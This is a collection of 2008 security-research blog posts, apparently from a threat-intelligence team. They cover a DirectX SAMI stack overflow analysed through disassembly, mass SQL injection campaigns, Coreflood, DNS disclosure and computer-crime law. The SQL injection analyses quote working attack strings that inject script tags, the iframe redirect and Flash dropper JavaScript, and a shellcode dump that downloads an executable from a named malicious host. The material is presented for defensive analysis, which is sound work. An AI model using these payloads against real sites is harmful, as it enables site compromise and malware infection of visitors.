I’ll be delivering two talks at DEFCON 16 in Las Vegas this Friday, August 8th. My first talk, The Wide World of WAFs, covers web applications firewalls and some PCI DSS background. In talk that afternoon, Snort Plug-in Development: Teaching an Old Pig New Tricks, I’ll be releasing GPL licensed Snort plug-ins for ActiveX control detection and for detecting OpenSSH clients and servers using a broken Debian OpenSSL PRNG.

I hope to see some of ya’ll out in Vegas!

My name is Bow Sineath and I have recently joined the SecureWorks Counter Threat Unit™ (CTU) as a security researcher. During my previous employment, I managed an IDS/IPS signature set and was responsible for acting on vulnerability intelligence that was, more often than not, very limited in public details. My experience in reverse engineering, source code analysis and countermeasure development is assisting SecureWorks in developing countermeasures that accurately protect our clients.

For my initial blog post as a CTU researcher, I am going to detail a vulnerability from Microsoft’s June 2008 patch cycle and correct an error I have seen in a number of the publicly available countermeasures. The vulnerability exists in the way that Microsoft DirectX 7 and 8 handle the parsing of Synchronized Accessible Media Interchange (SAMI) files. Due to the fact that Microsoft 7 and 8 are only distributed with Windows 2000, all other modern variants of Windows are not vulnerable to this specific issue, which limits the scope of this vulnerability significantly. The Microsoft advisory identifier for this vulnerability is MS08-033.

The SAMI file format is a captioning technology developed by Microsoft and detailed here (http://msdn.microsoft.com/en-us/library/ms971327.aspx). The format has a series of tags, similar to HTML, that describe and print out captions. The files can be identified by both the file contents which are plain-text and, in most cases, the .smi file extension. When SAMI is used, the SAMI file describing the captions exists as a separate entity from the media, which means there will be two files, the media itself and the SAMI file providing the captions. The file format itself is relatively similar to HTML in that it uses tags and markup similar to HTML and CSS. Further details on the file format are available from Microsoft.

The vulnerability we will be analyzing exists in the way that DirectX 7 and 8 prior to MS08-033 handle class declarations in SAMI files. The SAMI file format requires that two headers exist, the SAMIParam block and the Style block, both of which provide metadata for the SAMI file and the captions. Within the Style block, classes can be declared and defined that give each caption the ability to perform language-specifications. A class can have a name, a language and formatting information associated with it. When classes are declared, they are done so with a period (.) followed by a sequence of alphanumeric characters, which will be the name used to associate a caption with a class. Following the class name, an open bracket designates the start of the class definition. Within the definition lies the meat of the class, including a class name to be presented to the user and a language selection, which by definition should follow the ISO639-ISO3166 naming convention. In addition, the author can specify formatting options within the class definition. The final portion of the definition is a close bracket, designating the end of the definition. An example declaration and definition could look like this:

.F00  { Name:"Foo Class"; Lang: en-US; color: white; }

Once the two header blocks have been defined, the captions can be defined. A basic SAMI caption consists of two tags, the first being SYNC, which defines the time in milliseconds to display the caption and the second being P, which allows the author to specify a class and ID for formatting. A typical caption definition could look like this:

    <SYNC  Start=10>
    <P  Class=F00> Hello there

In addition to class definitions, a caption can be formatted within the style block by using either a Paragraph block or a Source block. Both of these formatting types are documented in the Microsoft SAMI specification and work somewhat similar to classes.

The vulnerability lies in the way that quartz.dll applies style information to captions and exists in the CSAMIRead::FillBuffer() function. Within the CSAMIRead::FillBuffer() function, there are multiple calls to functions such as lstrcpyn and wsprintf, which are functions that can easily be misused.  The use of these functions, in combination with a failure to properly track the size of data copied into a buffer, results in a trivially exploitable stack overflow.

At the start of CSAMIRead::FillBuffer(), two stubs are called which essentially obtain values from a structure and return them. Both of the function calls are virtual, so the target of the calls is not immediately clear.

There are several ways the target of virtual function calls can be determined.  In this case the quickest and easiest way to determine the target of the calls is by setting a breakpoint on CSAMIRead::FillBuffer() and running it in a debugger. This can be done by attaching a debugger to Windows media player and setting the debugger to break on library load, and setting breakpoints within quartz.dll after the library has been loaded. The two functions are CMediaSample::GetSize() and CMediaSample::GetPointer() and are both virtual member functions of the IMediaSample COM object. The block of code which makes these calls is below.

  .text:35584819                 mov     edi, [ebp+arg_0]
  .text:3558481C                 mov     esi, ecx
  .text:3558481E                 push    edi
  .text:3558481F                 mov     eax, [edi]
  .text:35584821                 call    dword ptr [eax+10h] ; CMediaSample::GetSize()
  .text:35584824                 mov     eax, [edi]
  .text:35584826                 lea     ecx, [ebp+var_8]
  .text:35584829                 push    ecx
  .text:3558482A                 push    edi
  .text:3558482B                 call    dword ptr [eax+0Ch] ;  CMediaSample::GetPointer()
  .text:3558482E                 test    eax, eax
  .text:35584830                 jge     short loc_35584842 ; if(GetPointer() != 0)  return error

It is important to note in this block of code that the return value of the call to CMediaSample::GetSize() is discarded, which makes calling this function useless since the only purpose it serves is to return the size of the buffer. Moving a few blocks down into the function, checks are performed to see if certain fields were initialized in the SAMI file. This block of code is below.

  .text:3558486A                 mov     ecx, [esi+494h]  ; Pointer to SOURCE= object
  .text:35584870                 test    ecx, ecx
  .text:35584872                 jz      short loc_3558487D
  .text:35584874                 mov     edi, ecx
  .text:35584876                 mov     ecx, offset Default ; ""
  .text:3558487B                 jmp     short loc_35584884
  .text:3558487D ;  ---------------------------------------------------------------------------
  .text:3558487D
  .text:3558487D  loc_3558487D:  ;  CODE XREF: CSAMIRead::FillBuffer(IMediaSample *,ulong,ulong *)+61j
  .text:3558487D                 mov     ecx, offset Default  ; ""
  .text:35584882                 mov     edi, ecx
  .text:35584884
  .text:35584884  loc_35584884:  ;  CODE XREF: CSAMIRead::FillBuffer(IMediaSample *,ulong,ulong *)+6Aj
  .text:35584884                 mov     eax, [eax+4]    ;
  .text:35584884                 ;  Pointer to class definition
  .text:35584887                 test    eax, eax
  .text:35584889                 mov     edx, eax
  .text:3558488B                 jnz     short loc_3558488F
  .text:3558488D                 mov     edx, ecx
  .text:3558488F
  .text:3558488F  loc_3558488F:  ;  CODE XREF: CSAMIRead::FillBuffer(IMediaSample *,ulong,ulong *)+7Aj
  .text:3558488F                 mov     eax, [esi+498h] ;
  .text:3558488F                 ; Pointer to Paragraph style
  .text:35584895                 test    eax, eax
  .text:35584897                 jz      short loc_3558489B
  .text:35584899                 mov     ecx, eax

The three pointers shown here are going to be pushed as arguments to a wsprintf() call, which means they must be given some value before being passed to wsprintf(). The block of code above checks the pointers to the locations of the respective objects in memory to see if they are NULL or not, if the pointer is NULL then a pointer to an empty string is copied into the register used for an argument to wsprintf(), otherwise the pointer to the object is passed into wsprintf(). This seems a bit complicated, but seeing the wsprintf() call will make it clear.

  .text:3558489B  loc_3558489B:  ; CODE XREF:  CSAMIRead::FillBuffer(IMediaSample *,ulong,ulong *)+86j
  .text:3558489B                 push    edi
  .text:3558489C                 push    edx
  .text:3558489D                 push    ecx
  .text:3558489E                 push    offset aPStyleHsHsHs ; "<P  STYLE=\"%hs %hs %hs\">"
  .text:355848A3                 push    [ebp+var_8]     ; LPSTR
  .text:355848A6                 call    ebx ; __imp__wsprintfA
  .text:355848A8                 mov     edi, eax
  .text:355848AA                 mov      eax, [esi+49Ch]
  .text:355848B0                 add     esp, 14h
  .text:355848B3                 xor     ecx, ecx
  .text:355848B5                 mov     eax, [eax+20h]
  .text:355848B8                 mov     [ebp+var_C], ecx
  .text:355848BB                 test    eax, eax
  .text:355848BD                 mov     [ebp+var_4], eax
  .text:355848C0                 jz      short loc_355848E7

According to the stdcall calling convention, arguments are pushed in reverse order onto the stack, so in the call above edi points to the source object of the caption, edx points to the class definition, and ecx points to the Paragraph style block. In effect, this block of code is replacing the variable names specified in the SAMI source, class and style objects inside of each caption. Due to the fact that the wsprintf() function does not provide any means of bounds checking, any of the three strings passed into this wsprintf() call can be used to trigger the vulnerability. The code that follows contains a series of lstrcpyn() and wsprintf() calls, all of which can be used to trigger the vulnerability as well.

Most countermeasures for this vulnerability do not provide complete protection against this vulnerability and only account for certain portions of class definitions, completely ignoring the Source and Paragraph blocks and missing the fact that there do not need to be valid identifiers within class definitions for the vulnerability to be triggered. This vulnerability is one of many that underscores the importance of reverse engineering patches and creating internal proof of concepts for vulnerabilities when creating countermeasures.

From SecurityFocus,

“On Monday, the Nevis, West Indies, company, its founder and two senior directors all agreed to plead guilty to various charges related to money laundering and the operation of an unlicensed money transfer business. The agreement ends a nearly four-year investigation into the company and its digital currency service, which — because of the anonymity it provided account holders — became a popular method for cybercriminals to turn ill-gotten proceeds into clean cash.”

E-Gold is the preferred method of payment on all the underground marketplaces we monitor. Does anyone without a court order or warrant have any idea the volume of exchanges (from real to virtual currency and back) they perform? They get a cut both ways. With almost 7 million grams of precious metal in stock, they can back a huge volume of transactions. When E-Gold is bought, part of that stock is used to back it, but it’s released again when E-Gold is exchanged for real currency.

At the end of the day, it looks like E-Gold will continue to operate regardless of the guilty pleas and I doubt they will do much to stem the exchange of ill-gotten gains through their service. If they change their operations so that anonymity is no longer an element of the service, the criminals will just do what they do at other, less convenient services: they’ll lie about who they are.

The Unnamed Police Department (we’ll just call them the UPD for short) is charged with keeping the peace in a major American metropolitan area. For a public safety website, theirs is quite advanced. Visitors can view dynamically generated maps showing the distribution of different classes of crimes, make anonymous tips to the narcotics squad, and even try to sign up to join the force. As those of us that work in information security well know, all that rich web functionality brings increased risk.

This past Thursday afternoon I received a report from a colleague that the UPD public website appeared to be serving up malicious JavaScript injections. The URLs of the injected scripts were consistent with the recent waves of mass SQL injection attacks that have targeted Microsoft IIS sites backed by Microsoft SQL Server databases. The injected JavaScript payloads were consistent with malicious scripts generated using the Neosploit obfuscation tool. The first stage script redirected victims to another script, this one hosted at a domain name registered just the day before with a German domain registrar.

The impact of all this? Visitors to the UPD website were having their web browsers loaded with a witches brew of exploits, potentially leading to complete system compromise. While not all visitors were successfully exploited, enough folks are getting owned with these attacks to make them increasingly popular with the bad guys. Users of a tool such as the NoScript extension for Firefox (or possibly Microsoft’s new XSSFilter being included with Internet Explorer 8) would have been protected.

I immediately contacted the UPD and reported the issue. The conversation was initially pretty humorous, as you might imagine. Fortunately, the department includes a cybercrimes unit and my report was immediately routed to them. The contact at the UPD called me back about 5 minutes later and informed me one of the investigators in the cybercrimes unit had indeed confirmed the problem, and that they were working to resolve the issue. To verify the report, the cybercrimes investigator supposedly browsed to the UPD’s own public website and saw his anti-virus software light up with warnings.

I checked back less than four hours later, and the site appeared clean. I’m impressed with the speed of the response, given previously reported compromises of state and local government websites (credit to Sunbelt Blog: here, here, here, and here). I really thought I had enough time to get home before writing a cron job to keep checking the site for when it got cleaned up!

Unless the underlying SQL injection vulnerability was fixed however, this site is very likely to fall victim again, and soon.

This past Tuesday July 8th was a big day in information security. Accomplished security researcher Dan Kaminsky of IOActive announced a major new vulnerability in the DNS infrastructure underpinning the Internet. What is the vulnerability, you ask? We may all have to wait for Dan to tell us at the Black Hat Briefings security conference, kicking off on Wednesday August 6th.

You see, what transpired Tuesday was a massive coordinated exercise in controlled vulnerability disclosure, pulled off by many of the biggest vendors in IT. It has been attempted (e.g., SNMP), but something like this has never really been pulled off before.

Dan Kaminsky, with the help of Internet pioneer Paul Vixie and US-CERT, pulled all the major players together and got them to actually agree they had a problem. At a closely guarded March 31st meeting on Microsoft’s Redmond campus, the likes of Microsoft, Cisco and the ISC BIND team reached consensus on an aggressive fix to be coordinated among the participants. What’s more, this diverse group managed to effectively keep a lid on their efforts until Tuesday. As Dan said in a podcast interview, they “were very careful.”

Security research is all built upon trust, and the folks involved in this disclosure process proved themselves worthy of ours.

Dan references our very own Joe Stewart’s 2002 work on DNS cache poisoning attacks as helping to form a basis for this new work.

For the less technically inclined, Rich Mogull’s “Executive Overview” does a good job at explaining what all the fuss is about. Otherwise, I’d suggest you go right to the source, Dan’s post at DoxPara Research. And for good measure and referential completeness, US-CERT Vulnerability Note #VU800113 is right here.

Writing good antivirus software is hard. Just ask the developer at a major antivirus company who was infected with the Coreflood trojan on his personal computer for over a year. Perhaps he was just testing their product, but it seems odd to have allowed the trojan to capture some of his personal information.  Fortunately the antivirus developer was not a domain administrator on the company’s network, so Coreflood didn’t spread to every other system in the Windows domain like it did at several other businesses, hospitals and government organizations.

One might assume that by now, that the antivirus company, employing the developer, would detect the specific version of Coreflood that he was infected with on February 23, 2007. Sadly, they still do not. The reason probably stems from the overarching problem that all antivirus companies face, and Coreflood is as good an example as any. There have been dozens upon dozens of Coreflood variants over the last six years. Virus and trojan authors these days are in it for the money, and more infections equals more money. And less detections equals more infections. So constantly rebuilding the Coreflood trojan to evade detection is part of the bad guys’ business model. And it’s easy - programs that scramble a trojan’s code to avoid anti-virus detection are available everywhere and most of them are free. The antivirus industry is really fighting a losing battle - they have to invest as much effort in reverse-engineering executable packers as the whole of the criminal underground spends in writing them, and this translates into a lot of time spent (and profits lost), since it always takes longer to reverse-engineer something than it did to engineer it. Therefore it’s not surprising that AV detection rates for new variants of most malware are simply abyssmal.

But while the packed Coreflood code might change weekly, it is interesting to note that the network traffic pattern that Coreflood uses when checking in with the controller has not changed substantially in the last two years! The intrusion (really extrusion) signatures we wrote for our clients back in 2006 are still effective at locating Coreflood infections today. It goes to show that fighting malware requires a multi-faceted approach: defenses against the infection vectors (exploits and social engineering), system-level protection, and extrusion detection to fill the gaps. Increasingly we are using our iSensor(™) intrusion prevention platform to do just this. Every day our malware research department analyses a large number of malware samples in order to improve our clients’ security posture and prevent information leakage by botnets like Coreflood.

Of course, we’re not alone in recognizing extrusion detection as a key part of defense-in-depth. For example, the Emerging Threats project maintains sets of extrusion-detection rules for the open-source Snort IDS platform. Since Snort operates in detection (instead of prevention) mode, using it won’t stop data leakage or malicious commands from being downloaded by infected systems, but it can at least alert network administrators of infected workstations so that they can respond, and hopefully re-evaluate their defenses based on the frequency and types of infections occuring on their network.

At its core, the determination of malware versus non-malware with 100% certainty can only be accomplished by knowing the intent of the author, something that can’t always be divined by scanning the bits and bytes of the code. Thus, no product can ever provide a 100% solution against past, present and future malware infection.  However, extrusion detection and prevention continue to be invaluable tools in today’s world, where botnets lurk in the shadows and siphon data from every corner of the network.

Recently Lori Drew was charged with violating the Computer Fraud and Abuse Act for signing up for a MySpace account under a fake name. While the larger circumstances were quite shocking (and have been covered enough I don’t think I need to go into them), she was charged for nothing more than pretending to be someone else on the Internet. The indictment calls this a felony, under title 130 section (a) (2) (c) of the US Code, which criminalizes anyone who “intentionally accesses a computer without authorization or exceeds authorized access, and thereby obtains information from any protected computer if the conduct involved an interstate or foreign communication.” The access to MySpace was unauthorized because using a fake name violated the terms of service. The information from a “protected computer” was the profiles of other MySpace users.

If this is found to be a valid interpretation of the law, it’s really quite frightening. If you violate the Terms of Service of a website, you can be charged with hacking. That’s an astounding concept. Does this mean that everyone who uses Bugmenot could be prosecuted? Also, this isn’t a minor crime, it’s a felony punishable by up to 5 years imprisonment per count. In Drew’s case she was charged with three counts for accessing MySpace on three different occasions.

This isn’t the first time that there’s been a controversial ruling based on these laws. Earlier this year David Ritz was fined over $50,000 in civil proceedings under a similar state statute in Sierra Corporate Design, Inc. v. David Ritz.

Ritz looked at DNS records in an attempt to get more information about a company he alleges was spamming. He used a zone transfer to retrieve all of the records on the Plaintiff’s DNS server. The judge found that “Ritz’s behavior in conducting a zone transfer was unauthorized within the meaning of the North Dakota Computer Crime Law.” The Plaintiff in the case argued that because a zone transfer was an obscure command, and because it was intended only for use by DNS administrators, it was unauthorized access, and that the information he obtained was not publicly available. This was found to be true even though the Plaintiff’s DNS server would happily hand out that information to whoever asked. I personally, as well as many other security and network professionals, consider this a legitimate use of a publicly available service. It may not be in the best interest of the plaintiff to make this information public, but that doesn’t mean that the Ritz should incur legal liability for accessing (or using) it.

The problem is that there is no generally accepted definition of what unauthorized means in this context. Law makers either didn’t define the term or if they did, used such sweeping language that the definition is plainly overbroad. One Kansas statue defined access as “to approach, instruct, communicate with, store data in, retrieve data from, or otherwise make use of any resources of a computer.” A judge rejected that definition, saying that if it was used, then “any unauthorized physical proximity to a computer could constitute a crime” and instead used the definition of access from Webster’s dictionary.

Such overarching language is also common in the terms of service used by ISPs and websites to define what is allowed to happen on their website or service. These documents are written by lawyers trying to shield their employers / clients from harm, not set up a set of usable rules of conduct. As such they are routinely ignored by both service providers and visitors. Commonly they contain clauses that no reasonable person could expect to abide by. One example is a TOS that expects users to not “violate any local, state, federal, or non-U.S. law, order, or regulation.” In conjunction with the CFAA, wouldn’t this make violating any law from any country a violation of US law? Another clause which is commonly found in a TOS, is to not include any content which is “threatening, abusive, defamatory, invasive of privacy or publicity rights, vulgar, obscene, profane or otherwise objectionable.” This type of clause seems to be intended to prohibit being mean on the Internet. The ironic thing is that it’s not uncommon to find TOS which prohibit the majority of content on the web site, for example a celebrity gossip site forbidding the posting of sensitive information.

The discrepancy between the TOS and the actual use of a website has had negative consequences. In March, New Jersey Attorney General Anne Milgram subpoenaed the website juicycampus.com. Milgram felt that it was a possible violation of the Consumer Fraud Act for the website to disallow offensive content in it’s TOS, but to not actively remove offensive content. Juicycampus.com is a gossip site, which goes out of it’s way to solicit, well, juicy gossip about college life. The website uses slogans like “Always Anonymous. Always Juicy,” so it sure looks like the website is going out of it’s way to solicit offensive content. Why does it say that such content is disallowed in it’s TOS? In Ritz’s case one of the findings of law was that “Ritz has engaged in a variety of activities without authorization on the Internet. Those activities include … the compilation and publication of Whois lookups without authorization from Network Solutions.”

Whois data is intended to be used to identify the owners of a domain and communicate that information to others. However, the TOS reads the “compilation, repackaging, dissemination or other use of this Data is expressly prohibited without the prior written consent of Network Solutions.” This portion of the TOS clearly contradicts the intended use of the data, so why is it there?

I think it’s because the lawyers who wrote it wanted the most leverage possible if and when they felt it necessary to take legal action against someone using the data in a way they didn’t like. Unfortunately, this overly restrictive TOS helped contribute to a $50,000 judgment against Ritz.

In my perspective, as someone who writes IPS signatures, these issues are the result of not paying enough attention to false positives. The dedication to preventing false positives in the American legal system can be seen from Benjamin Franklin’s rephrasing of Blackstone’s formulation: “that it is better [one hundred] guilty Persons should escape than that one innocent Person should suffer.” Defining what constitutes an unauthorized and criminal violation of a computer system is an extremely difficult task, but it is an important enough issue that it deserves an earnest effort. While legislatures may have the advantage that unlike my IPS signatures, their laws are interpreted by judges, prosecutors and other people who are capable of exercising independent judgment, that’s no reason to write overly broad laws that criminalize the majority of Internet users. When those laws are so broad as to be unknowingly violated and unenforceable as written, judges should strike them down for vagueness. Website and ISP operators should also not write TOS that they know will be violated by legitimate users of their site. It might be nice if there was a principal of contract law that invalided Terms of Service which are so over broad as to be meaningless. However, even if this is not the case then they should still do so because words mean something and contracts and laws should as well.

In the last weeks, the SecureWorks Counter Threat Unit™ noticed a significant uptick in the volume of mass SQL injection attacks. What follows is a small part of an in-depth analysis we undertook to better understand these attacks.

Our analysis began with the SQL injection attacks themselves. The attack pattern consists of a long hex-encoded value that’s converted into a string by the victim’s SQL Server. This cloaks the attack from simple inspection, but is easily decoded with a bit of scripting. Of note, we’ve seen the size of the hex-encoded payload decrease significantly over time: the attackers behind this are adapting.

What is uncovered is an attempt to inject a small bit of HTML into every page served by the compromised website. The injected IFRAME references a JavaScript file (b.js in all the samples we’ve observed) hosted on another server. b.js is fairly straight forward bit of JavaScript:

try{
document.write("<iframe src=hxxp://<bad_domain_here>/cgi-bin/?ad width=0 height=0 frameborder=0></iframe>");

bin/?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};

This generated IFRAME serves up a nice piece of obfuscated, packed JavaScript with an 8 kB or so payload. This code included two noteworthy pieces of anti-debugging:

1. location.href key: As noted elsewhere in the security community [1], unpacking can be made more difficult by including keys only the client browser would know. For the packer we dissected, location.href, the URL of the referencing document, formed part of the decoding key. If one only had the IFRAME code to examine, this would make decryption difficult. However, since we had followed this exploit from the original SQL injection, we knew the referencing document and could provide this parameter. Note that the generating server must uniquely key the packed code to the referenced domain as a result of this.
2. Use of arguments.callee: This JavaScript primitive allows access to the called function, allowing recursion and other nifty functional abilities. In this case, the packer calls arguments.callee.toString(), which returns the body of the function itself as a String. By appending this to the decoding key, the function is slightly harder to decode - you can’t modify the code in place to force it to decode.

Utilizing our Caffeine Monkey tool, we pealed back this layer of the exploit onion. Interestingly, the attackers choose to encode twice with the same obfuscation technique, possibly to foil automated unpacking. We uncovered a simple browser profiling engine, again written in JavaScript. It looked at two properties:

1. navigator.appMinorVersion: Only present on IE, this property returns the Windows service pack level. On the example systems we tested, it returned “;SP2;”, representing XP Service Pack 2. The detection code adds 1 to this, left-zero pads it to 2 characters, and sends it as characters 48 and 49 of the request URL described below.
2. navigator.systemLanguage: Returns the combination of language and country code for localization. The characters for this are translated to their ASCII digit equivalents minus the hyphen, so “en-us” becomes 656E2D7573. This is padded out with zeros to become the final 20 digits of the request URL.

Once the profiling is complete, the code crafts a custom URL using the above data, creates a new SCRIPT tag sourcing this URL, and appends it to the current document. This triggers another download, this time from a different server.

Thankfully, this finabit of JavaScript is again double encoded with the same technique we encountered before. What’s unveiled is a chunk of JavaScript that attempts to exploit a number of known vulnerable ActiveX controls as well as an older vulnerability in Internet Explorer. What’s new here is the fancy packaging.

Interestingly, there are some rudimentary bits of commented-out anti-debugging code in the unraveled JavaScript code. Though incomplete and non-functional, it shows that attackers are getting more sophisticated with defending their exploits from reverse engineering. Expect to see setTimeout anti-reversing techniques in the near future.

[1] http://zarestel.blogspot.com/2008/05/deobfuscating-neosploit-manually.html

There’s a new round of the Mass SQL injection attacks that have been going on for the past few months. This time it looks like the bad guys are using a slightly different variant of the SQL injection attack and the backend malware dropper pages. In previous iterations the SQL attack looked like this:

;DECLARE%20@S%20NVARCHAR(4000);SET% 20@S=CAST(0x44004500
43004C00410052004500200040005400200076006100720063006800
61007200280032003500350029002C00400043002000760061007200
63006800610072002800320035003500290020004400450043004C00
41005200450020005400610062006C0065005F004300750072007300
6F007200200043005500520053004F005200200046004F0052002000
730065006C00650063007400200061002E006E0061006D0065002C00
62002E006E0061006D0065002000660072006F006D00200073007900
73006F0062006A006500630074007300200061002C00730079007300
63006F006C0075006D006E0073002000620020007700680065007200
6500200061002E00690064003D0062002E0069006400200061006E00
6400200061002E00780074007900700065003D002700750027002000
61006E0064002000280062002E00780074007900700065003D003900
390020006F007200200062002E00780074007900700065003D003300
350020006F007200200062002E00780074007900700065003D003200
3300310020006F007200200062002E00780074007900700065003D00
310036003700290020004F00500045004E0020005400610062006C00
65005F0043007500720073006F007200200046004500540043004800
20004E004500580054002000460052004F004D002000200054006100
62006C0065005F0043007500720073006F007200200049004E005400
4F002000400054002C004000430020005700480049004C0045002800
40004000460045005400430048005F00530054004100540055005300
3D0030002900200042004500470049004E0020006500780065006300
2800270075007000640061007400650020005B0027002B0040005400
2B0027005D00200073006500740020005B0027002B00400043002B00
27005D003D0072007400720069006D00280063006F006E0076006500
72007400280076006100720063006800610072002C005B0027002B00
400043002B0027005D00290029002B00270027003C00730063007200
69007000740020007300720063003D0068007400740070003A002F00
2F007700770077002E006E006900680061006F007200720031002E00
63006F006D002F0031002E006A0073003E003C002F00730063007200
6900700074003E002700270027002900460045005400430048002000
4E004500580054002000460052004F004D0020002000540061006200
6C0065005F004300750020073006F007200200049004E0054004F002
000400054002C0040004300200045004E004400200043004C004F005
300450020005400610062006C0065005F0043007500720073006F007
20020004400450041004C004C004F004300410054004500200054006
10062006C0065005F0043007500720073006F007200
%20AS%20NVARCHAR(4000));EXEC(@S);--

The new SQL injection looks slightly different. Less of the SQL code is contained within the CAST construct, so the total amount of code is smaller than the previous attack. The attacker did use the ever popular alternating ( aka elite ) caps in what appears to be an attempt to obfuscate the code. Thankfully for all those who write I(D|P)S rules, the good old /i flag will still match it.

;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20
tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%20FrOm%20
sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTy
Pe='u'%20AnD%20(b.xType=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe
=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next
%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)
%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim
(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C7363726970742
07372633D687474703A2F2F7777772E7869616F6261697368616E2E6E65742
F64742F75732F48656C702E6173703E3C2F7363726970743E%20aS%20vArChAr
(67))')%20fEtCh%20next%20FrOm%0tAbLe_cursoR%20iNtO%20@t,@c%20eNd
%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- HTTP/1.1

On the other side of the exploit, users who are affected by the embeded script tags will be sent to this JavaScript page:

window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("pidupdatessl=");
if (start != -1)
{}else{
var expires = new Date();
expires.setTime(expires.getTime()+24*1*60*60*1000);
document.cookie = "pidupdatessl=update;expires=" + expires.toGMTString();
try{
document.write("<iframe src=hxxp://en-us18.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}

That page then opens an invisible IFrame, which injects the code which actually drops the malicious Flash files.

<html>
<body>
<script>
var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version").split(",");
if(Flashver[2] == 115){
        document.write("<embed src=\"advert.swf\"></embed>");
}
if(Flashver[2] == 47){
        document.write("<embed src=\"banner.swf\"></embed>");
        }
</script>
</body>
</html>

That’s much cleaner than some of the previous rounds which would open up 3 or 4 different IFrames full of malware. Given that the Flash exploit is newer and more universal, I can see why the bad guys would decide to use it exclusively. There are reports that the newest Flash exploit will work on versions up to 115, which seems credible given that the bad guys are testing for that version. Previously the bad guys used a grab bag of ActiveX, RealPlayer and other exploits. I wouldn’t be suprised if that approach led to a lot more crashes. If any of the exploits failed it could cause the browser to crash, and that’s not even considering the possibility that the exploits might step on each others’ toes.

The malicious Flash files look to be based upon Mark Dowd’s Inhuman Flash exploit. They seem almost identical, with both downloading a root kit ( dddd.exe on one ddd2.exe on the other ) with very similar names. The root kits are both the same.

00000090  8b 03 c5 c3 75 72 6c 6d  6f 6e 2e 64 6c 6c 00 95  |....urlmon.dll..|
000000a0  bf d0 a7 17 47 e8 aa ff  ff ff 83 ec 04 83 2c 24  |....G.........,$|
000000b0  16 ff d0 95 50 bf e2 e6  58 1b e8 95 ff ff ff 8b  |....P...X.......|
000000c0  54 24 fc 8d 52 0e 33 db  53 53 52 eb 3b 43 3a 5c  |T$..R.3.SSR.;C:\|
000000d0  38 38 38 37 36 2e 65 78  65 00 53 ff d0 5d bf f7  |88876.exe.S..]..|
000000e0  7e be ad e8 6c ff ff ff  83 ec 04 83 2c 24 1b ff  |~...l.......,$..|
000000f0  d0 bf 02 f2 26 8f e8 59  ff ff ff 61 68 55 d6 1a  |....&..Y...ahU..|
00000100  30 83 c4 08 ff 64 24 f8  e8 cd ff ff ff 68 74 74  |0....d$......hxx|
00000110  70 3a 2f 2f 6c 6f 63 61  6c 65 34 38 2e 63 6f 6d  |p://locale48.com|
00000120  2f 61 64 2f 64 64 64 32  2e 65 78 65 00 00 00 00  |/ad/ddd2.exe....|

New Malicious domains:

• hxxp://o7n9.cn/
• hxxp://www.redir94.com/b.js
• hxxp://www.rexec39.com/b.js
• hxxp://www.locale48.com/b.js
• hxxp://www.rundll92.com/b.js
• hxxp://www.libid53.com/b.js
• hxxp://www.en-us18.com/b.js
• hxxp://www.script46.com/b.js
• hxxp://www.xiaobaishan.net/bjs

md5 hashes:

• a8002df6e691465bc0aad94c7bf86160 advert.swf
• ac3cb5bdbe3f6ed14cee7e5e94fc83a5 banner.swf
• 49b13ae1a881132440dd15e50310328f ddd2.exe
• 49b13ae1a881132440dd15e50310328f dddd.exe

I will be delivering a talk on PCI 6.6 and web application firewalls (WAFs) at Summercon this coming Saturday May 31st. If you are going to be in the Atlanta area this weekend, you really ought to come out and join the fun!